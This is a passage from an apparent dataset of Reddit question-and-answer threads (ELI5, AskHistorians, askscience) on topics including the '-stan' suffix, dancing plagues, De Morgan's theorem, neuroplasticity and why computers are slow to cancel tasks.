Iceland and England end in \"-land\"? ", "_URL_0_ \n\ngood video on this", "-stan means land or place.\n\nFun fact, India is often referred to, by some Indians, as \"Hindustan\".  Meaning, Land of the Hindus (Hinduism). ", "The suffix \"-stan\" essentially means \"settlement\". In that region, places are generally referred to by the name of the settlers. So, for example, Afghanistan is the settlement of Afghani people, Uzbekistan is the settlement of the Uzbeki people, etc.. ", "This will probably be buried, but this happens in English place names too; Cleveland, Maryland, Finland, Iceland, Greenland, Scotland, Queensland, Ireland, Swaziland, Switzerland, Poland, Thailand, New Zealand. It's not just the Middle East that lacks originality!\n\n", "Bonus \"-stan\" trivia.  There is no 'stan that stands alone.  All countries ending in 'stan' (at least in the English spellings)  are touching another 'stan'.  ", "STHANA means place in sanskrit . It's the oldest language of the Indian subcontinent . Even india is called HINDUSTAN ( that name also predates india as it was the name given to the country by the westerners) so that would mean a place for the Hindus, Pakistan means a paak or a pious place in urdu , Afghanistan means a place for the afghan people   \n\nThere are many other words in indo Asian languages which have been derived from sanskrit ", "Learning from the mistakes of Alexander the great whom named many a city 'Alexandria', Stan the conqueror opted for a more unique method of naming"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["https://commons.wikimedia.org/wiki/File:Indo-Iranic_languages_chart.jpg", "https://en.wikipedia.org/wiki/Language_family", "https://en.wikipedia.org/wiki/Iranian_languages#Comparison_table", "https://en.wikipedia.org/wiki/Indo-European_languages", "https://en.wikipedia.org/wiki/Indo-Iranian_languages", "https://en.wikipedia.org/wiki/Indo-Aryan_languages#Language_comparison_chart"], [], [], ["http://mentalfloss.com/article/12447/why-do-so-many-countries-end-stan"], [], ["https://en.m.wikipedia.org/wiki/-stan"], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/List_of_sovereign_states_and_dependent_territories_in_Europe"], [], [], [], [], ["https://en.wikipedia.org/wiki/Hayk", "https://en.wikipedia.org/wiki/Hayasa-Azzi"], [], [], [], [], [], [], ["http://www.101languages.net/turkish/country-names-turkish/"], ["https://en.wiktionary.org/wiki/-stan"], ["https://m.reddit.com/r/todayilearned/comments/3i45vo/til_that_the_reason_so_many_south_and_central/"], [], [], [], [], [], ["https://www.google.com/webhp?sourceid=chrome-instant&amp;ion=1&amp;espv=2&amp;ie=UTF-8#q=why%20countries%20end%20in%20stan"], [], [], ["https://www.youtube.com/watch?v=yXc3ExJGVYw&amp;index=2&amp;list=PL7I2qfMxiVBQ7zBCshEgtxkvf35Eh8gcR"], [], [], [], [], [], []]}
{"q_id": "2xrqaj", "title": "why are north american christians in particular so against evolution, while peers in europe and elsewhere are not?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2xrqaj/eli5_why_are_north_american_christians_in/", "answers": {"a_id": ["cp2s2df", "cp2s6xq", "cp2sb3h", "cp2z1c4"], "score": [9, 5, 12, 2], "text": ["Sounds like you need new American friends. I don't know of a single one of my friends or family (many who are devout American Christians) who deny or go against the concept of evolution and modern science. Seems to me that anyone with any sort of higher education would be able to discern that.", "I'm an American who did most of his compulsory education years in Europe. I would say the school is where it starts. We got taught evolution in biology class at a relatively young age. There were no ifs and buts, you get a first glance at it around age 10, then keep visiting it every year or two in more details. You get clearly explained what the scientific method is and why it makes more sense than fairy tales and random speculation.\n\nAlso the general atmosphere around religion in Europe. Even among those who would call themselves Christian for traditional reasons, most don't take it seriously. According to polls, in the UK about 50% of the population is openly atheist. In France it's closer to 75%. Germany is probably around those regions as well.\n\nA European politician who mentions God in a speech would be strongly criticized for bringing religion into politics, a big no-no in Europe. In the US, that's nearly compulsory. One of my history teachers once described the US as \"the last Christian empire the world will probably see\".", "Because schools here teach biology and evolution like any other subject - that's how it works, deal with it.\n\nMaking debates about creationism and allowing people to choose if their kids are lied to, or taught the truth is counterproductive - it legitimizes ignorance.\n\nNow if we could deal with homeopathy the same way.", "I'm surprised you've met Lutherans that are vehemently anti-evolution.  Historically, the mainstream Lutheran church has tried to position itself as slightly more progressive than the Catholic church (in keeping with the spirit of Martin Luther).\n\nI was raised (and confirmed) as a Lutheran and we were taught not to take the Bible so literally. Especially the old Testament. Which is where most of this pushback against evolution comes from. Born-again literalists take every word of the Bible as truth. So, in that regard, evolution (as we currently understand it) can not be so.\n\nThere are different off-shoots of the Lutheran religion. One of which is the Wisconsin Evangelical Lutheran Synod. Which are very strict literalists. They represent about 300k people in America, mostly in the Great Lakes and Northern states. It is the third largest denomination of Lutherans (in America). But not very big, when you consider there are over 70 million Lutherans worldwide.\n\n_URL_0_\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Wisconsin_Evangelical_Lutheran_Synod"]]}
{"q_id": "4wgdsz", "title": "how does extradition from the uk to the us work?", "selftext": "How long would it take? What kind of evidence does there have to be? What kind of crime does it have to be for? What will happen to the person once they are extradited?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4wgdsz/eli5_how_does_extradition_from_the_uk_to_the_us/", "answers": {"a_id": ["d66r6jl", "d66w8be"], "score": [6, 2], "text": ["OP, what did you do? ", "In general for an extradition to succeed, it has to be for a crime that would also be a crime in the UK. It goes via a normal court proceedings and while they won't goes into the nitty gritty details of the case, the court has to be convinced there is a reasonable chance of a conviction. I guess something like a Grand Jury would do in America? But with appeals.\n\nIn the special case of the US, the UK will also ask the US to promise that the death penalty is off the table, because the UK is not allowed to extradite if there is a chance the death penalty will be applied."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "v0c55", "title": "Are any historical figures before the industrial revolution remembered for wealth or business success attained outside of politics?", "selftext": "Everyone I can think of who was famous for immense wealth (Crassus, Medicis) was tied to politics in some way. Was it possible to become memorably wealthy purely through business activity in the past? Or would the political leadership typically muscle out anyone who was too successful?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/v0c55/are_any_historical_figures_before_the_industrial/", "answers": {"a_id": ["c5069zw"], "score": [3], "text": ["That depends on your definition of wealthy and successful. A Portuguese merchant could become incredibly wealthy by dealing, trading and smuggling in the Indian ocean in the 15th century, and a Spaniard could become one if he had enough land in his Hacienda in the new world.\n\nSo, yeah, you could become fairly rich and successful without becoming a politician. However, sooner or later these men, or their descendants, would like to keep their power and that involved dipping their hands in politics. This is why Latin America was ruled by oligarchs up until the 20th century, for example."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8bru8s", "title": "what is wet bulb temperature?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8bru8s/eli5_what_is_wet_bulb_temperature/", "answers": {"a_id": ["dx948fc"], "score": [9], "text": ["For water to evaporate it requires heat energy.  When heat energy moves to the water, it lowers the temperature of the surrounding objects (this is why wet clothing feels cold, or why alcohol rubbed on your skin feels cold).  A wet bulb is a thermometer that has a wet cloth wrapped around it (the cloth wicks water from a reservoir, allowing water to constantly evaporate and chill it.  \n\nThey're used to measure the wind chill (which is reported as a \"feels like\" temperature in cooler weather).  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cxrb97", "title": "How/why did the Dancing Plagues occur? Why aren't there any dancing plagues (or similar) today?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/cxrb97/howwhy_did_the_dancing_plagues_occur_why_arent/", "answers": {"a_id": ["eyn3qof", "eyn80s9", "eynelzd", "eynfzay", "eynjhde", "eynqtfj", "eynque4", "eynriyz", "eyo5jdk", "eyo5jwd", "eyoexui", "eyom0a3"], "score": [4367, 247, 89, 63, 26, 25, 3, 6, 4, 4, 12, 4], "text": ["There's actually little evidence to support the ergot poisoning theory, or if it was involved, it only played a part. The more likely answer has to do with psychological or religious contagion; the dancing plagues broke out during times of economic and social stress, and there seems to always have been a prior plague that provided a precedent for the next one. If you're starving and on the verge of a psychotic break anyway, when it finally happens, you act out in a way that you've heard of other people acting out before. It's not a conscious choice or feigned behavior, it's just that even distressed actions are the result of societal and religious conditioning steeped into your subconscious mind. \n\nWe don't have dancing plagues anymore because they fell out of \"fashion,\" as crude as that sounds; shifting religious and cultural trends meant that the idea of dancing manias became less prevalent in people's minds. So, even when the same social and economic stresses happened that spurred dancing plagues in the past, people instead coped with it in different ways. If it was just ergot poisoning, we'd see dancing plagues happen spontaneously even today, or in areas without any history of dancing plagues; we don't, because it takes that precedent in a community's collective memory for an entire group to act out in that specific way.\n\nMy main source is John Waller's A Time to Dance, A Time to Die. It's an excellent book, covering the psychological and historical side more than any chemical or medical explanation.", "Mass hysteria seems to be the best explanation we have so far, and we do see cases of mass hysteria but often to a less \u2018sensational\u2019 scale than the dancing or meowing nuns. Thats likely due to societal changes, and certain behaviours (like dancing) becoming much more socially acceptable. Religious rule is one way of enforcing a social contract and conformity. Similarly, if the people in that group are so used to conforming and one engages in a salient behaviour it can influence others to do so, hence the dancing nuns. \n\nThere was a recent-ish case of mass hysteria (2006) in Portugal, the \u2018Strawberries with Sugar Virus\u2019, in which hundreds of school children developed \u2018symptoms\u2019 of a virus seen on a TV show. A few seemed to have legitimate allergies, but there was no concrete explanation for the others.", "The podcast called 'the dollop' has an episode on what was called the mad Gasser. This episode briefly covers earlier dancing like plagues such as nuns who all meowed, and nuns who would bite people and it spread throughout the country side. They cover a type of mass hysteria where people would smell gas and get sick. \n\nIn the 1940s a family reported smelling gas and getting physically sick. This was the start of a modern 'dancing' sickness. \n\nThroughout the United states, people began to report gas attacks. They all had similar reports. A sweet smelling odor, feelings of discomfort, nausea, dizziness, etc. \nMany of the \"victims\" reported seeing someone running.away or finding women's high heel prints outside of their homes. \n\nThis led to people creating vigilante mobs and police to be on the look out for a person shooting gas into people's homes. \n\nThe cases escalated and people were calling in doctors and medical professionals to examine them as they started to report cases of paralysis, vomiting, numbness. However everyone recovered very quickly and seemed to have no long lasting effects. \n\nUpon police investigation, there was zero evidence found of any Intruders, assailants, etc. \n\nIt was more or less all chalked up to mass hysteria with a couple exceptions, one of which had a faulty coal stove in their home.\n\n\nSources: The Dollop - The Mad Gasser\n\nMattoon Daily Journal\n\n[\"The Mad Gasser of Mattoon: how the press created an imaginary chemical weapons attack\"](_URL_1_)\u00a0from\u00a0[Skeptical Inquirer](_URL_0_), 7/1/2002", "I don't have any research for the first question, but there was a recent study which showed that mass shootings appear to occur in clusters and are contagious. There's a window during which at-risk individuals seem to be triggered by exposure to media coverage of a mass shooting and pick up on the meme to do it themselves. [Here's the article](_URL_0_)\n\nI can't find the citation at the moment, but I also heard on NPR a few years ago about an outbreak of teen suicides in New Zealand where at-risk individuals would rest their heads in a loop tied around their doorknobs as a signal of distress, much like cutting. Because it's low to the ground it doesn't appear lethal but many people died from this. The lethality led to additional attention for the practice and the study I can't find suggested that it was also contagious.\n\nSo, there are likely memes that spread today like the Dancing Plagues, which can lead to serious negative consequences when at-risk individuals are looking for a solution to distress.", "I'm surprised there's no mention here of Sydenham's chorea. An autoimmune response to streptococcus that causes the individual to have jerky movements that might look like they're dancing.  I'm not sure if such a thing was responsible for dancing plagues but it's possible?", "There\u2019s a category of mental illness called Culture Bound Syndromes. Something about a particular set of circumstances can create a unique set of symptoms to manifest. There are lots of them - see a list here:\n_URL_0_", "There\u2019s a category of mental illness called Culture Bound Syndromes. Something about a particular set of circumstances can create a unique set of symptoms to manifest. There are lots of them - see a list here:\n_URL_0_", "Check out stuff you should know. They did a good article and podcast on them.", "I think they are just called music festivals nowadays. Back in the day however, an Agrarian village who fed their livestock rye and whom also would bake rye bread would sometimes get contaminated with psilocybin spores,, aka magic mushrooms whose main food source is processed rye. Thus during periods of starvation, instead of composting moldy bread, you'd eat it..in the rare occasion this happened for a poor village their could be a mass outbreak of dancing plague.", "Along the same vein, people often refer to these episodes with bizarre and even deadly physical behaviors as \"mass hysteria.\" But that's a completely different that than people just panicking over some imagined menace right? I know there are sometimes psychosomatic symptoms to mass hysteria (like the illusory belief in gas poisoning or something of that nature.) but that's got to be different than laughing or dancing yourself to death for weeks on end. right?", "I think the theory I heard for it was that it was all a farce, basically the village heard that the king would be passing through and so the town would be qualified as a kings highway (which meant more taxes). since the theory of the time was that mental illness was contagious so the peasants just started the dancing plague. this sounds like an extreme way to avoid paying a little extra money.", "I find it interesting that we think for certain this was a psychological phenomenon and not something biological. What is the actual evidence for that? Almost anything women would have had in this era would have been due to wondering wombs or something, so I think speculating with certainty is premature unless I can be linked to better evidence. \n\nWhy couldn't this have been a biological entity we can't find evidence for due to the time?\n\nWhat about parasitism?\n\nWhat about some kind of acute toxicity or poisoning?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.m.wikipedia.org/wiki/Skeptical_Inquirer", "http://www.encyclopedia.com/doc/1G1-88826374.html"], ["https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0117259"], [], ["https://en.m.wikipedia.org/wiki/Culture-bound_syndrome"], ["https://en.m.wikipedia.org/wiki/Culture-bound_syndrome"], [], [], [], [], []]}
{"q_id": "2wjwwp", "title": "Is De Morgan's Theorem true for more than two things?", "selftext": "De Morgan's Theorem states that (not A) and (not B) is equal to not (A or B) (or, if you prefer that, A nor B), and vice versa.\n\nMy question is, is this also true for more than two things? For example, does (not A) or (not B) or (not C) equal not (A and B and C)?\n\nTagging this as maths because I reckon boolean algebra counts as maths!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2wjwwp/is_de_morgans_theorem_true_for_more_than_two/", "answers": {"a_id": ["cori9d7", "corkokc", "corl7ey", "cormuv9", "corn1e3", "coro7zt", "corobs1", "corp15j", "corq2s2", "corqnvw", "cosh3fh"], "score": [257, 7, 51, 4, 2, 2, 7, 2, 13, 2, 2], "text": ["Yes. You can show this directly via truth tables, but it is nicer to show this for three objects based on the result for two objects.  We use the associativity of AND and the associativity of OR (which is important, as otherwise something like  \"A and B and C\"  which you reference above has no meaning without parentheses).  Here's how you go from two to three:\n\n    not(A) and not(B) and not(C) = not(A) and (not(B) and not(C)) \n                                 = not (A) and not(B or C)\n                                 = not (A or (B or C))\n                                 = not(A or B or C)", "You can also look it at qualitatively. not (A or B) means what does it take for (A or B) to be false. we know that this means both A and B have to be zero, hence (not A) and (not B). This will extend to any n since not (A or B or C ...) would require all variables to be 0, therefore (not A) and (not B) and (not C) and ...\n\nThis also applies for the not (A and B). It's basically asking, what is required for (A and B) to be false, which is as long as one of the variables is a zero. Therefore (not A) or (not B) or (not C) or ...", "Pro tip: In math, try proving the simple things to yourself instead of looking for the answer, you'll remember better and feel a sense of accomplishment.\n\nIn this case, try drawing a venn diagram or a truth table with A and B and see if you can prove De Morgan for 2 things, then try extending that to 3 things, if it's still true, see if you can prove it for any integer number of things.", "So lets look at the right side of your equation: Not (A and B and C).  \n\nSymbols may get confusing, so lets think of it in a more real world example: you are trying to set your loser friend up on a blind date.  He's really terrible, so you know it's likely that any partner for him is going to be flawed, but you get him to agree that he will give the date a chance as long as they are not **ugly AND mean AND stupid**.  Two out of three is fine for his low standards, but she has to have one redeeming quality. In other words, his conditions is that they girl is: **not(U and M and S)**.\n\nThis means that he's okay with a partner who's mean and stupid, as long as they aren't ugly.  He would also be fine with a partner who is ugly and stupid, as long as they aren't mean. And he would be fine with a partner who is stupid and mean, as long as they aren't ugly.  \n\nSo you go out looking for a partner for your loser friend, and you realize that you only need to satisfy one of the conditions to make it work.  If you find a partner who isn't ugly, the broad condition is satisfied. Same if you find a partner who isn't mean. Or a partner who isn't stupid.  Once you find that one of those is satisfied, you don't need to look any further (i.e., if you know she's not stupid, it doesn't matter whether they check the other boxes, they are already good enough for your terrible friend).  \n\nSo you're looking for a girl who is Not Ugly, or is Not Mean, or is Not Stupid, satisfying one of those means that broad condition is satisfied.  So if Not(U) or Not (M) or Not (S), then Not (U and M and S).  Similarly, a girl that isn't either not ugly, or not stupid, or not mean won't satisfy your friend's broad description, so you can conclude that any girl you do find for him must be Not (U) or Not (M) or Not (S).  So If Not (U and M and S), then Not(U) or Not(M) or Not (S).  \n\nSince the conditional works both ways, you can make it an equal sign, Not (U) or Not (M) or Not (S) = Not (U and M and S).  ", "You could just try it, the truth table is only 8 items long.\n\nBoth !(a || b || c) and (!a  &  &  !b  &  &  !c) have the following truth table:\n\n\n\n | a | b | c | result\n---|---|----|----|----\n000 | 0 | 0 | 0 | 1\n001 | 0 | 0 | 1 | 0\n010 | 0 | 1 | 0 | 0\n011 | 0 | 1 | 1 | 0\n100 | 1 | 0 | 0 | 0\n101 | 1 | 0 | 1 | 0\n110 | 1 | 1 | 0 | 0\n111 | 1 | 1 | 1 | 0\n\nAnd of course both (!a || !b || !c) and !(a  &  &  b  &  &  c) have the opposite of that.\n\nBut it should make sense to you intuitively that this should work for any number of variables, since the truth table will always have a single 1 or 0, and the other option (0 or 1) will fill all the rest of the results.  **You can only make a bunch of ORs false by having all the components be false, and you can only make a bunch of ANDs true by having all the components be true**.\n\nIf we take one of those statements and negate the true/false results, we get either\n\n >  You can only make **a negation of** a bunch of ORs ~~false~~ **true** by having all the components be false, and you can only make a bunch of ANDs true by having all the components be true.\n\nor\n\n >  You can only make a bunch of ORs false by having all the components be false, and you can only make **a negation of** a bunch of ANDs ~~true~~ **false** by having all the components be true.\n\nThen, if we take the other of those statements and negate the true/false components, we get either\n\n >  You can only make a negation of a bunch of ORs true by having all the components be false, and you can only make a bunch of ANDs true by having all **the negations of** the components be ~~true~~ **false**.\n\nor\n\n >  You can only make a bunch of ORs false by having all **the negations of** the components be ~~false~~ **true**, and you can only make a negation of a bunch of ANDs false by having all the components be true.", "To get a better understanding of discrete mathematics, the following facts are good to remember as a starter... You can think of:\n\n* \"A\" and \"B\" as variables equal to \"0\" or \"1\"\n* \"and\" as equivalent mathematically to multiplication\n* \"or\" as equivalent mathematically to addition\n* \"not\" as changing \"0\" (false) to \"1\" (true), and any non-zero value (true) to zero (false).\n\nAlso:\n\n* \"(not A) and (not B) and (not C) . . .\" is only true if all variables A, B, C . . . are false (equal to 0). \n* If all are false (equal to zero), then (A or B or C . . . ) would also be false (equal to zero)\n* this would mean \"not (A or B or C . . . )\" = not (false) = true\n\nIt's easy to show the opposite is also true, and thus to prove they are equivalent.", "Induction Proof:  \nStatement to prove:  \nFor all n in the set of positive integers  \nnot A(1) and not A(2) ... and not A(n) = not[A(1) or ... A(n)]  \nBase Case  \nWhen n = 1 not A = not(A) is true  \n  \nInduction Hypothesis  \nAssume when n = k  \nnot A(1) and not A(2) and ... not A(k) = not[A(1) or ... A(k)]  \n  \nExamining n = k + 1   \nWe find from our induction hypothesis  \nnot A(1) ... not A(k) and not A(k+1) = not[A(1) or ... A(k)] and not A(k+1)  \nLetting A(1) or ... A(k) = B (which is fine as B can only be true or false)  \n= not B and not A(k+1) which from De Morgan's Theorem  \n= not(B or A(k+1))  \n= not[A(1) or A(2) ... or A(k+1)]  \n\nHence by the principle of mathematical induction the statement holds true for all n in the set of positive integers!\nSo De Morgan's Theorem is true for all numbers of objects.\n", "An example is user inputting months and the case of when the input doesn't equal a valid month (lowercase and first letter uppercase).\n\nelse {\n\n\nif ( (month!=january)  &  &  (month!=January)  &  & (month!=february)  &  &  (month!=February)  &  &  .... )\n\n\n}\n\nSo it proves that:\n\nnot (A or B or C .... or N)\n\nBecomes:\n\nnot A  &  &  not B  &  &  not C  &  &  ... not N", "Others have provided the formalisation, but the intuitive way to get it is just to translate into English.\n\n\"(not A) or (not B) or (not C) or...\" can be expressed as \"At least one of these propositions is false.\"\n\n\"not(A and B and C and...)\" can be expressed as \"Not all of these propositions are true.\"\n\nSo clearly the above two are equivalent. Similarly,\n\n\"(not A) and (not B) and (not C) and...\" translates as \"All of these propositions are false.\" while\n\n\"not(A or B or C or...)\" translates as \"None of these propositions is true.\"", "It's true for any \"number\" of things.\n\nDe Morgan's law can be generalized onto arbitrary sets, using set intersection, union and complement operations.\n\nSuppose (Xi) is a (arbitrarily large) family of sets, then the intersection of the Xi is equal to the complement of the union of complement(Xi).\n\nIt's a generalization, because every statement like A1 and A2 and ... and An = not (not(A1) or ... or not(An)) can be understood to be of the form x element of X1 intersected X2 intersected ... Xn  < = >  x element of complement (complement(X1) union complement(X2) union ... complement(Xn)), for sets Xi. \n\nThe proof is basic first-order-logic:\n\nx is in the intersection of the Xi  < = >  for all i, x in Xi  < = >  not (not for all i, x in Xi)  < = >  not (there exists i, not x in Xi)  < = >  x is in the complement of the union of complement(Xi).", "De Morgan's Theorem is true for 3 or more statements; it's even true for infinitely many statements. In that case it is usually phrased with quantifiers, as follows. Assume for each value of the variable _x_ you are given a statement _A(x)_. Then \n\n        For all values of x,  the statement A(x) is false.\n\nis logically equivalent to \n\n        It is not true that there exists a value of x for which A(x) is true.\n\nThe first one is a version of your \"(not A) and (not B)\", the second one is a version of your \"not (A or B)\".\n    "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "dyg0nm", "title": "How was the \"post apocalyptic\" world depicted before the nuclear age?", "selftext": "Modern depictions of the \"End Times\" and post-apocalyptic imagery center around a nuclear fallout type doomsday scenario (bombed out buildings, mutated people, nuclear winter, etc.) Were depictions of a post-civilization world common in other eras, and if so, what kinds of imagery and characteristics did these depictions have ?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dyg0nm/how_was_the_post_apocalyptic_world_depicted/", "answers": {"a_id": ["f82npvm"], "score": [61], "text": ["I'm going to have a crack at this, as I wrote my dissertation on the evolution of Western post-apocalyptic literature.  The earliest apocalyptic imagery we come across in the western canon is in the Bible, with the Book of Revelation, and this is the term 'Apocalypse' originates.  The Christian concept of Apocalypse isn't really relevant to your question however, as what you're asking about is the post-apocalypse. \n\nThe first real post-apocalyptic novel is Mary Shelley's \"The Last Man\".  In this novel, a disease sweeps through Europe, devastating the population.  The narrator wanders through a Europe where nature reclaims the civilised spaces, with some (to the modern reader) farcical elements such as sheep wandering through Italian palaces.  \"The Last Man\" should be read not just as a post-apocalyptic novel, but as a novel concerned with Shelley's relationship with her recently deceased husband, Percy Bysshe Shelley, the famous romantic.  In \"The Last Man\", buildings fell, humans became tribal, nature prospered, but many of the doomsday scenarios that you mentioned didn't exist.  Shelley's work preceded most post-apocalyptic work by a hundred years or more, so can be seen as an aberration, or a beginning.\n\nThe large body of post-apocalyptic work began in the early 1900s.  I would argue that there is a large body of work in the post-apocalyptic strain that does not include nuclear holocaust as the primary mechanism for collapse.  Two novels I would recommend are Wyndham's \"Day of the Triffids\", in which humanity is overcome by plants but manages to survive, and Ballard's \"The Drowned World\", in which water levels rise, and the Earth warms, to the extent that humanity struggles to survive.  Both of these novels are more concerned with environmental catastrophe than necessarily 'nuclear catastrophe'.  This ecological apocalypse was strongly influenced by Carson's \"Silent Spring\", which was a key text for the environmental movement.\n\nAlthough my focus was on environmental apocalypse, there are two key other areas that are common in apocalypse - aliens and technology.  Thinking of films, such as \"The Quiet Place\", or novels such as Wells' \"War of the Worlds\", aliens are a common apocalyptic theme that include destruction, but not necessarily some of the tropes you mentioned. Technological catastrophe as well is common, for example in Vonnegut's \"Cat's Cradle\", where Ice-Nine conquers the planet, or even \"The Terminator\", where a hard AI aims to wipe out the human race.  \n\nI hope I've shown that there are many different styles of post-apocalyptic imagery, even in the past 30/40 years, but it's true that it is very common to see nuclear holocaust as one of the most common.  Please do message me if you have any questions - I love this stuff!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "edtye2", "title": "with neuroplasticity how long does it take for your brain to change to the new patterns?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/edtye2/eli5_with_neuroplasticity_how_long_does_it_take/", "answers": {"a_id": ["fbl58f4"], "score": [2], "text": ["This really depends on what you mean by neuroplasticity. So as a brief overview of how neurons communicate with each other, you have an \"upstream neuron,\" a \"downstream neuron,\" and a small space between them called the synapse. The \"upstream,\" or presynaptic neuron, will release a small burst of neurotransmitter into the synapse, which will bind to receptors in the \"downstream,\" or postsynaptic neuron.\n\nLet's say I have my upstream neuron fire two signals, one 10 milliseconds after the other. It turns out that actually, the postsynaptic downstream neuron will show greater activation to the second signal than to the first. So, in a way, \"neuroplasticity\" happens within 10 milliseconds. How does this happen? Well, when a neuron fires, calcium rushes into the cell which is what allows it to release neurotransmitter. The amount of neurotransmitter released is directly proportional to the amount of calcium that enters the cell. It turns out that when the first signal fires, calcium rushes into the cell, but it takes a while for the calcium to clear out. This means that, 10 milliseconds later, when the second signal fires, there is *already calcium inside the cell,* so more neurotransmitter is released, so the second time the presynaptic upstream neuron fires you see a stronger response (does this make sense? If not, I'm happy to elaborate).\n\nThis phenomenon is called facilitation, and it wears off within 50 milliseconds after the calcium is cleared from the neuron. Does this count as neuroplasticity? Kind of? It's very quick to instate (just 10 milliseconds), but it also falls off very quickly (within 50 milliseconds). \n\nWhat about longer lasting, more permanent plasticity? Well, there are also processes that that involve the downstream neuron expressing different genes, and creating more receptors. I'm not going to go into much detail here (but I am more than happy to), but when the neuron expresses more receptors, it becomes more sensitive when the upstream neuron releases neurotransmitter. The process of activating genes and creating new receptors can take hours.\n\nSo how long does neuroplasticity take? Milliseconds to hours...depending on what you're looking at."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3i3g3g", "title": "why do computers struggle so much to \"cancel\" a task?", "selftext": "Seems that, at times, Ctrl+Alt+Del is the only way to stop your computer from copy files, installing software, etc. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3i3g3g/eli5_why_do_computers_struggle_so_much_to_cancel/", "answers": {"a_id": ["cucxu04", "cucybrk", "cud1kc9", "cud33fm", "cud5gwh", "cud5hyw", "cudcp5n"], "score": [11, 71, 4, 3, 3, 4, 3], "text": ["Because not only are they trying to stop what they are doing but they are also undoing what they have already done. In the case of installation that can be a lot of files that have to be deleted and reverted.", "Because the normal way to cancel a task, without using the Task Manager, is for Windows to \"ask\" the task to close. This is what happens when you click the \"X\" or \"Cancel\" buttons. Windows sends the process a message telling it to close itself, and the process should respond by doing whatever it needs to to clean up after itself, and then send a response saying \"I'm done.\"\n\nIf the process is malfunctioning somehow, naturally it may not be able to receive and respond to those messages. The task manager can then stop the task by asking the Operating System to stop running the task, rather than asking the task itself. There is some risk involved in not letting the task clean up after itself, since the OS can't know everything that needs to be cleaned up, but it can usually do a pretty good job of guessing and sometimes it's the only option.", "I feel the need to point out that 'Computers' are not just 'Windows'. You are describing a symptom common to Windows and Microsoft. I personally prefer Windows to Unix and Linux, but having used them, I know 'cancelling a task' can be a very straightforward thing. However, when this happens, many open handles (attachments between CPU thread and RAM often, true EL15 fashion, I'll leave out the minutae) may remain open, so while the process that called them is closed, the connections remain. In Linux, who cares? Kill that process, it's dead. In Windows, it has many more places where it is instructed to tidy up, close off this, end that. It is literally doing more, and taking longer. Like making a meal and eating it and going to bed as opposed to doing the dishes, putting away the extra ingredients, eating the meal, then warshing your plate. Another factor is that Windows uses NTFS file system, which has different requirements to open and hold open a program than may another file system like Reiser or EXT for Linux may. Those tend to be more efficient, but also more 'cowboy like' in how they handle information, and often are much, much faster than Windows is allowed to be.  This is grossly oversimplified, as it is ELI5. However, I just really need to say it's not a 'Computer' thing, it is a Microsoft Windows thing.", "Two factors contribute:  1) It would be very slow to check between every operation to see if the user wanted to cancel.  2) Anywhere you can cancel you have to be able to unwind everything that you already did back to a sane state.  For example, if you cancel an install you don't want to end up half installed, you want it to be like you never started installing.  That point limits where you can cancel:  There's complex, and infrequently used code to unwind things, so you don't want to put in too many places like that.  It also means that when you cancel, the unwind steps may take a long time, and it tries not to let you cancel *that* because then you're in trouble.", "When you cancel an active process that is in the middle of operating, it must fully complete its current task (such as copying a file) before it terminates.\n\nFor example. you are moving a number of files, if you cancel in the middle of this process and it immediately stopped you could end up with no source file and an incompletely moved destination file, thus data loss.\n\nA good analogy is a printer; if you cancel an active print job, it will finish printing anything that is currently in the spool, but if there is a paper jam, you have to reach in and and yank the paper out.", "Mostly because programmers are lazy and businesses have no incentive to make sure all the cancel buttons work. Who is going to stop buying some software because the cancel buttons are worthless?\n\nSo you instruct a computer to copy files, and the code says something like:\n\n\"Count up all the thousand files, copy file 1, copy file 2, copy file 3 ... copy file 1,000. Then, look for more instructions\".\n\nAnd when you say \"cancel\", the one thousand copy commands are all still going and your command goes to the end of the queue. It will cancel ... after it's finished.\n\nThen the programmers have to make it a bit better, so they do things like \"copy 1, copy 2, copy 3 ... copy 100. Look for more instructions. Copy 101, copy 102, copy 103... copy 200. Look for more instructions\".\n\nSo you hit cancel, but you still have to wait a while for it to get to the command.\n\nActually combining a process doing some work, and the ability to take cancel instructions at any time, is much much harder and more skilled, more likely to go wrong, and not a very profitable part of the design.\n\nInstalling software is harder again, because the ideal is that you have either {nothing installed} or {a program installed, and the OS knows about it}. You never want to end up with {files here and files there, but half the program missing, but the OS thinks it's installed but the shortcuts don't work} because you cancelled and it just stopped mid way through.\n\nSo cancelling an install often sends it into \"whoa, whoa, undo everything I just did\" mode.", "Say you hire someone to build you a house.\n\nAnd you suddenly decide that you want a pool and tell him to cancel.  \nWell it's gonna take some time for him to undo all his work(and sometimes he does so sloppily or not at all).  \nOr maybe he's currently in a precarious position, like hanging upside down from a crane, doing some work on the roof(perhaps you wanted him to build you a dome :) ).\n\nYou could of course kill him and be done with it. But you're still gonna have to deal with the half-built and completely useless house by yourself if you really want that pool. Or the dome collapsing due to being unstable from being unfinished and doing damage on your foundation.\n\nOr maybe he suddenly goes deaf and can no longer hear you. Or space rays cause him to go insane. Then you need to kill him either 